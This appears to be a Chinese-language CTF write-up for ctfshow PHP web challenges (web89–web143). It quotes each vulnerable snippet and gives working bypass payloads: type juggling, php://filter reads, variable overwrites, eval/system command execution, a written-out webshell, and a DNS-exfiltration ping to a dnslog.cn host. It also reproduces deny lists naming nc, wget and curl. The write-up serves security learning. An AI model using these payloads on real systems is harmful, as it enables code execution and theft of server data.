aeqaqstudy

web89

if(isset($_GET[\'num\'])){
    $num = $_GET[\'num\'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

我们可以利用preg_match的特性,让第一个if判断为false

preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject直到到达结尾。 如果发生错误preg_match()返回 FALSE。

payload:

num[]=1

web90

if(isset($_GET[\'num\'])){
    $num = $_GET[\'num\'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval()函数用于获取变量的整数值。
intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

传入十六进制的即可,intval会自动转为十进制

0x117c
int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。
  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

或者也可以传入4776a,这样intval转换后也变成了4776

web91

if(preg_match(\'/^php$/im\', $a)){
    if(preg_match(\'/^php$/i\', $a)){
        echo \'hacker\';
    }
    else{
        echo $flag;
    }
}
else{
    echo \'nonononono\';
}

m:开启多行匹配

换行符绕过即可,%0aphp

https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

https://blog.csdn.net/qq_46091464/article/details/108278486

web92

if(isset($_GET[\'num\'])){
    $num = $_GET[\'num\'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

这道题仍然可以用十六进制绕过,八进制绕过,科学技术法绕过

payload:

010574
0x117c
4476e2(科学计数法,在第一个if中判断为数字,在第二个中判断为字符串强转4476)

intval函数文档:

https://www.runoob.com/php/php-intval-function.html

web93

if(isset($_GET[\'num\'])){
    $num = $_GET[\'num\'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

过滤了所有字母,这个时候只能用八进制绕过,因为八进制全是数字

payload:010574

web94

if(isset($_GET[\'num\'])){
    $num = $_GET[\'num\'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

如何绕过 if(!strpos($num, "0"))

strpos函数限制了传参第一位不能为0,如果为0,就die.

但是如果找不到的话又会die.

payload:

?num=  010574
?num=%20010574
?num=4476.0
?num=+4476.0

web95

 $num = $_GET[\'num\'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

过滤了点,但是仍可以用上一题部分payload

加个新的payload:

%2b010574

web96

if($_GET[\'u\']==\'flag.php\'){
        die("no no no");
    }else{
        highlight_file($_GET[\'u\']);
    }

用相对路径和绝对路径表示,绕过判断

payload:

./flag.php
/var/html/www/flag.php

web97

if (isset($_POST[\'a\']) and isset($_POST[\'b\'])) {
if ($_POST[\'a\'] != $_POST[\'b\'])
if (md5($_POST[\'a\']) === md5($_POST[\'b\']))
echo $flag;

https://blog.csdn.net/EC_Carrot/article/details/109525162

这里用数组绕过

payload:

a[]=1&b[]=2

web98

$_GET?$_GET=&$_POST:\'flag\';
$_GET[\'flag\']==\'flag\'?$_GET=&$_COOKIE:\'flag\';
$_GET[\'flag\']==\'flag\'?$_GET=&$_SERVER:\'flag\';
highlight_file($_GET[\'HTTP_FLAG\']==\'flag\'?$flag:__FILE__);

三目运算符,传递了地址

等同于下面改写后的代码

<?php
include(\'flag.php\');
if($_GET){
	$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
	"flag";
} 
if($_GET[\'flag\']==\'flag\'){
	$_GET=&$_COOKIE;
}else{
	\'flag\';
} 
if($_GET[\'flag\']==\'flag\'){
	$_GET=&$_SERVER;
}else{
\'flag\';
} 
if($_GET[\'HTTP_FLAG\']==\'flag\'){//需要满足这个条件就可以输出flag
	highlight_file($flag);
}else{
	highlight_file(__FILE__);
}

因此用get随意传一个参数,然后传入HTTP_FLAG为flag即可

web99

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET[\'n\']) && in_array($_GET[\'n\'], $allow)){
    file_put_contents($_GET[\'n\'], $_POST[\'content\']);
}

0x36d转换来就是877

rand() 函数生成随机整数。提示:如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 rand (10,100)。

目标是通过file_put_contents写入一句话

利用in_array()函数的特性写入1.php

https://www.runoob.com/php/func-array-in-array.html

in_array第三个参数未设置时,会自动转换类型与数组中的元素比较,因此传入n=1.php时自动转为n=1即可绕过

web100

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET[\'v1\'];
$v2=$_GET[\'v2\'];
$v3=$_GET[\'v3\'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2(\'ctfshow\')$v3");
        }
    }
}

1.php中的运算优先级https://www.php.net/manual/zh/language.operators.precedence.php

&& > || > = > and > or

不难发现=的优先级比and高,于是出现了:

 <?php
 $a=true and false and false;
 var_dump($a);  返回true

 $a=true && false && false;
 var_dump($a);  返回false

**2.v2不能有;   v3要有;**

payload:

v1=1&v2=var_dump($ctfshow)/*&v3=*/;

因为要保证语法正确,所以把中间的注释掉了

3.可以用反射类来输出指定类中的属性,方法等元素

https://www.php.net/manual/zh/class.reflectionclass.php

反射类的用法:

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass(\'A\');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

因此我们构造

?v1=1&v2=echo new ReflectionClass(\'ctfshow\')/*&v3=*/;
或者
?v1=1&v2=echo new ReflectionClass&v3=;

4.

非预期:

因为过滤的字符比较少,所以可以直接执行命令。
方法不固定,在此聚两个例子
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system(\'ls\')-&v3=-1;

5.坑

flag_is_963dd0f50x2d9ccc0x2d49160x2dbab10x2d719d497773e6"

这里要把0x2d是十六进制编码后的-,需要转换

web101

//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET[\'v1\'];
$v2=$_GET[\'v2\'];
$v3=$_GET[\'v3\'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2(\'ctfshow\')$v3");
        }
    }

过滤了大多数符号,使用反射类继续绕过,v3可以传 ;

?v1=1&v2=echo new ReflectionClass&v3=;

web102

$v1 = $_POST[\'v1\'];
$v2 = $_GET[\'v2\'];
$v3 = $_GET[\'v3\'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die(\'hacker\');
}

v2需要是数字,其他没什么过滤的地方,且v2是我们要写入的一句话

可以考虑用伪协议base64写入,之前用十六进制编码,由 $str = call_user_func($v1,$s);这里解码

$a=\'<?=cat *;\';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。

payload:

v2=5044383959474e6864434171594473
v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

如果题目环境在php5,则可以识别十六进制数

web103

$v1 = $_POST[\'v1\'];
$v2 = $_GET[\'v2\'];
$v3 = $_GET[\'v3\'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die(\'Sorry\');
    }
}
else{
    die(\'hacker\');
}

给str增加了过滤,那我们写入短标签的一句话即可

web104

if(sha1($v1)==sha1($v2)){
        echo $flag;
    }

sha1()可以和md5()同等对待,数组绕过即可

v1[]=1&v2[]=2

web105

$error=\'你还想要flag嘛?\';
$suces=\'既然你想要那给你吧!\';
foreach($_GET as $key => $value){
    if($key===\'error\'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value===\'flag\'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST[\'flag\']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

变量覆盖

我们传入?suces=flag,让$suces=$flag

然后再传入error=suces,这样$error也是flag的值,而页面会die($error)输出flag

web106

if(isset($_POST[\'v1\']) && isset($_GET[\'v2\'])){
    $v1 = $_POST[\'v1\'];
    $v2 = $_GET[\'v2\'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

数组绕过或者传入

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

都是sha1后弱比较相等的值

web107

if(isset($_POST[\'v1\'])){
    $v1 = $_POST[\'v1\'];
    $v3 = $_GET[\'v3\'];
       parse_str($v1,$v2);
       if($v2[\'flag\']==md5($v3)){
           echo $flag;
       }
}

parse_str():https://www.php.net/manual/zh/function.parse-str.php

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

例如:

$a=\'q=123&p=456\';
parse_str($a,$b);
echo $b[\'q\'];   //输出123
echo $b[\'p\'];   //输出456

数组绕过,md5加密数组会返回null

?v3[]=1

v1[]=flag=0

web108

if (ereg ("^[a-zA-Z]+$", $_GET[\'c\'])===FALSE)  {
    die(\'error\');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET[\'c\']))==0x36d){
    echo $flag;
}

ereg — 正则表达式匹配

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

payload:

?c=a%00aaaa778

web109

if(isset($_GET[\'v1\']) && isset($_GET[\'v2\'])){
    $v1 = $_GET[\'v1\'];
    $v2 = $_GET[\'v2\'];

    if(preg_match(\'/[a-zA-Z]+/\', $v1) && preg_match(\'/[a-zA-Z]+/\', $v2)){
            eval("echo new $v1($v2());");
    }
}

这个结构很像是要用反射类,本地调试eval("echo new ReflectionClass(system(\'dir\'));"); 可以执行命令

paylaod:

?v1=ReflectionClass&v2=system(\'ls\')

?v1=Exception&v2=system(\'ls\')

https://www.jianshu.com/p/d02cbde1cdd7

web110

if(isset($_GET[\'v1\']) && isset($_GET[\'v2\'])){
    $v1 = $_GET[\'v1\'];
    $v2 = $_GET[\'v2\'];

    if(preg_match(\'/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\\'|\,|\.|\?|\\\\|\/|[0-9]/\', $v1)){
            die("error v1");
    }
    if(preg_match(\'/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\\'|\,|\.|\?|\\\\|\/|[0-9]/\', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

使用新类,FilesystemIterator类的使用(作用就是获取当前目录文件)

本地测试:eval("echo new FilesystemIterator(getcwd());");

输出了当前工作目录目录的文件结构

https://www.bianchengquan.com/article/600550.html

v1=FilesystemIterator&v2=getcwd

web111

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET[\'v1\']) && isset($_GET[\'v2\'])){
    $v1 = $_GET[\'v1\'];
    $v2 = $_GET[\'v2\'];

    if(preg_match(\'/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/\', $v1)){
            die("error v1");
    }
    if(preg_match(\'/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/\', $v2)){
            die("error v2");
    }
    
    if(preg_match(\'/ctfshow/\', $v1)){
            getFlag($v1,$v2);
    }
}

使用超全局变量$GLOBALS输出所有定义的变量

payload:

?v1=ctfshow&v2=GLOBALS

web112

function filter($file){
    if(preg_match(\'/\.\.\/|http|https|data|input|rot13|base64|string/i\',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET[\'file\'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。

伪协议

?file=php://filter/resource=flag.php

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php

?file=compress.zlib://flag.php

?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web113

function filter($file){
    if(preg_match(\'/filter|\.\.\/|http|https|data|data|rot13|base64|string/i\',$file)){
        die(\'hacker!\');
    }else{
        return $file;
    }
}
$file=$_GET[\'file\'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

?file=compress.zlib://flag.php仍然适用

另一种思路:在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file.

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

https://www.anquanke.com/post/id/213235?from=timeline

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match(\'/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i\',$file)){
        die(\'hacker!\');
    }else{
        return $file;
    }
}
$file=$_GET[\'file\'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

没有过滤filter

?file=php://filter/resource=flag.php

web115

include(\'flag.php\');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET[\'num\'];
if(is_numeric($num) and $num!==\'36\' and trim($num)!==\'36\' and filter($num)==\'36\'){
    if($num==\'36\'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} 

trim函数和is_numeric俩函数需要绕过,trim函数:https://www.w3school.com.cn/php/func_string_trim.asp

这个时候我们可以自己写脚本来爆破可以用的数

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).\'1\';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}

结果

%09
%0A
%0B
%0C
%0D
+
%2B
-
.

再加上trim

<?php
for ($i=0; $i <=128 ; $i++) {
    $x=chr($i).\'1\';
    if(trim($x)!==\'1\' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
    }
}

输出仅剩下%0C和%2B了

payload:

%0c36

web123

include("flag.php");
$a=$_SERVER[\'argv\'];
$c=$_POST[\'fun\'];
if(isset($_POST[\'CTF_SHOW\'])&&isset($_POST[\'CTF_SHOW.COM\'])&&!isset($_GET[\'fl0g\'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>
  • 1.$_POST[\'CTF_SHOW.COM\']

变量名应该只有数字、字母、下划线,GET、POST方式传进去的变量名会自动将空格、+、.、[、转换为_。

特殊字符[,经GET、POST方式传参,变量名中的[也会被替换为_,但其后字符不会被替换。

  • $_SERVER[\'argv\']

1、cli模式(命令行)下

第一个参数$_SERVER[\'argv\'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

payload:

payload:
get:  $fl0g=flag_give_me;
post:  CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

非预期:
post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)   题目出不来,本地测试可以

web125

include("flag.php");
$a=$_SERVER[\'argv\'];
$c=$_POST[\'fun\'];
if(isset($_POST[\'CTF_SHOW\'])&&isset($_POST[\'CTF_SHOW.COM\'])&&!isset($_GET[\'fl0g\'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

详解$_SERVER[\'argv\']:http://www.360doc.com/content/18/0203/09/52553745_727370869.shtml

在$_SERVER[\'argv\'][0]中,对于传递的参数,可以通过加号+进行分割

payload:

GET:?$f10g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
                   
     
适用parse_str解析变量
GET: a=1+fl0g=flag_give_me

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
                    
GET: a=1+$fl0g=flag_give_me

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[1])
                    
                    
GET:?1=flag.php

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

$a=$_SERVER[\'argv\'];
$c=$_POST[\'fun\'];
if(isset($_POST[\'CTF_SHOW\'])&&isset($_POST[\'CTF_SHOW.COM\'])&&!isset($_GET[\'fl0g\'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }

payload:

GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

or

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127

$ctf_show = md5($flag);
$url = $_SERVER[\'QUERY_STRING\'];


//特殊字符检测
function waf($url){
    if(preg_match(\'/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\\'|\"|\<|\,|\>|\.|\\\|\//\', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show===\'ilove36d\'){
    echo $flag;
}

extract()函数,变量覆盖

fuzz变量中间的_:

import requests
import urllib.parse

url = "http://127.0.0.1/1/1.php"

for i in range(0,125):
    # print(i)
    i = chr(i)
    p = "ctf"+i+"show"
    # p = urllib.parse.quote(p)
    param = {
        p:"ilove36d"
    }
    reponse = requests.get(url=url,params=param)
    page = (reponse.text)
    if "flaggg" in page:
        print(i)
        print(page)
        print("------------------")

payload:

?ctf show=ilove36d

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET[\'f1\'];
$f2 = $_GET[\'f2\'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match(\'/[0-9]|[a-z]/i\', $str);
}

call_user_func()

考察点:gettext拓展的使用

在开启该拓展后 _() 等效于 gettext()

<?php
echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo

payload:

f1=_&f2=get_defined_vars

web129

if(isset($_GET[\'f\'])){
    $f = $_GET[\'f\'];
    if(stripos($f, \'ctfshow\')>0){
        echo readfile($f);
    }
}

因该是要判断ctfshow字符要出现,目录穿越

?f=/ctfshow/../var/www/html/flag.php
?f=./ctfshow/../flag.php

也可以用伪协议

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

或是远程文件包含(服务器上写入ctfshow.txt)一句话

web130

if(isset($_POST[\'f\'])){
    $f = $_POST[\'f\'];

    if(preg_match(\'/.+?ctfshow/is\', $f)){
        die(\'bye!\');
    }
    if(stripos($f, \'ctfshow\') === FALSE){
        die(\'bye!!\');
    }

    echo $flag;

}

直接post f=ctfshow

而0=== FALSE为假绕过

web131

if(isset($_POST[\'f\'])){
    $f = (String)$_POST[\'f\'];

    if(preg_match(\'/.+?ctfshow/is\', $f)){
        die(\'bye!\');
    }
    if(stripos($f,\'36Dctfshow\') === FALSE){
        die(\'bye!!\');
    }

    echo $flag;

? 问号代表前面的字符最多只可以出现一次

利用正则最大回溯次数绕过

https://www.laruence.com/2010/06/08/1579.html

在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

import requests

url = "http://b6f3a9c0-3da1-44b5-8cee-fedece8ae121.chall.ctf.show/"

param = "very"*250000+"36Dctfshow"
data = {
    \'f\':param,
}
print(param)
reponse = requests.post(url=url,data=data)
print(reponse.text)

web132

/admin/

if(isset($_GET[\'username\']) && isset($_GET[\'password\']) && isset($_GET[\'code\'])){
    $username = (String)$_GET[\'username\'];
    $password = (String)$_GET[\'password\'];
    $code = (String)$_GET[\'code\'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == \'admin\'){
            echo $flag;
        }
        
    }
}

false && false || true

运算结果为true

payload:

?code=admin&password=admin&username=admin

web133

//flag.php
if($F = @$_GET[\'F\']){
    if(!preg_match(\'/system|nc|wget|exec|passthru|netcat/i\', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

限制为6个字母的rce

思路:传递本身发生变量覆盖,用curl把数据带出去

https://blog.csdn.net/qq_46091464/article/details/109095382

web134

$key1 = 0;
$key2 = 0;
if(isset($_GET[\'key1\']) || isset($_GET[\'key2\']) || isset($_POST[\'key1\']) || isset($_POST[\'key2\'])) {
    die("nonononono");
}
@parse_str($_SERVER[\'QUERY_STRING\']);
extract($_POST);
if($key1 == \'36d\' && $key2 == \'36d\') {
    die(file_get_contents(\'flag.php\'));
}

变量覆盖掉

payload:

?_POST[key1]=36d&_POST[key2]=36d

web135

if($F = @$_GET[\'F\']){
    if(!preg_match(\'/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i\', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

133的加强版,ban掉了curl

payload:

?F=`$F `;nl flag*>1.txt
?F=`$F`; cp flag.php 2.txt
?F=`$F`; mv flag.php 3.txt

也可以ping
payload:F=`$F `;ping `awk \'/flag/\' flag.php`.1mlbcw.dnslog.cn

web136

function check($x){    if(preg_match(\'/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i\', $x)){        die(\'too young too simple sometimes naive!\');    }}if(isset($_GET[\'c\'])){    $c=$_GET[\'c\'];    check($c);    exec($c);}else{    highlight_file(__FILE__);}

学习用tee命令https://blog.csdn.net/jjlovefj/article/details/83176871

payload:

代替重定向符了

?c=ls /|tee 1
?c=awk \'/f/\' /f149_15_h3r3|tee 1

web137

class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}


call_user_func($_POST[\'ctfshow\']);

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

直接调用getFlag函数,静态方法

ctfshow=ctfshow::getFlag

web138

class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST[\'ctfshow\'], ":")>-1){
    die("private function");
}

call_user_func($_POST[\'ctfshow\']);

要调用ctfshow的静态方法getFlag,但是禁用了冒号

call_user_func()来调用一个类里面的方法

call_user_func(array($classname, \'say_hello\'));

这时候会调用 classname中的 say_hello方法

payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

function check($x){
    if(preg_match(\'/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i\', $x)){
        die(\'too young too simple sometimes naive!\');
    }
}
if(isset($_GET[\'c\'])){
    $c=$_GET[\'c\'];
    check($c);
    exec($c);
}

看起来和136一样,但是这里没有写入权限了

用盲注的思想写脚本

bash逻辑:

if [ `ls /|awk \'NR=={0}\'|cut -c {1}` == {2} ];then sleep 3;fi
if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi

这样子来延时

web140

if(isset($_POST[\'f1\']) && isset($_POST[\'f2\'])){
    $f1 = (String)$_POST[\'f1\'];
    $f2 = (String)$_POST[\'f2\'];
    if(preg_match(\'/^[a-z0-9]+$/\', $f1)){
        if(preg_match(\'/^[a-z0-9]+$/\', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == \'ctfshow\'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

intval($code) == \'ctfshow\'弱比较,所以只需要将 $code 等于字母或者 0 即可。

f1=md5&f2=phpinfof1=md5&f2=md5f1=sha1&f2=getcwd

web141

highlight_file(__FILE__);
if(isset($_GET[\'v1\']) && isset($_GET[\'v2\']) && isset($_GET[\'v3\'])){
    $v1 = (String)$_GET[\'v1\'];
    $v2 = (String)$_GET[\'v2\'];
    $v3 = (String)$_GET[\'v3\'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match(\'/^\W+$/\', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
  • /^\W+$/作用是匹配非数字字母下划线的字符.

  • php中 1-phpinfo();可以执行phpinfo()命令的。

payload:

?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-&v2=1
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%91%93%DF%99%D5)-&v2=1

web142

if(isset($_GET[\'v1\'])){
    $v1 = (String)$_GET[\'v1\'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

payload:

?v1=0

?v1=0x0

web143

141的plus版本?

if(isset($_GET[\'v1\']) && isset($_GET[\'v2\']) && isset($_GET[\'v3\'])){
    $v1 = (String)$_GET[\'v1\'];
    $v2 = (String)$_GET[\'v2\'];
    $v3 = (String)$_GET[\'v3\'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match(\'/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i\', $v3)){
                die(\'get out hacker!\');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

没有过滤^

在两边加*

本地测试可行:

<?php
1*phpinfo()*1;

payload:

/?v1=1&v2=1&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%0c%13"^"%60%60")*

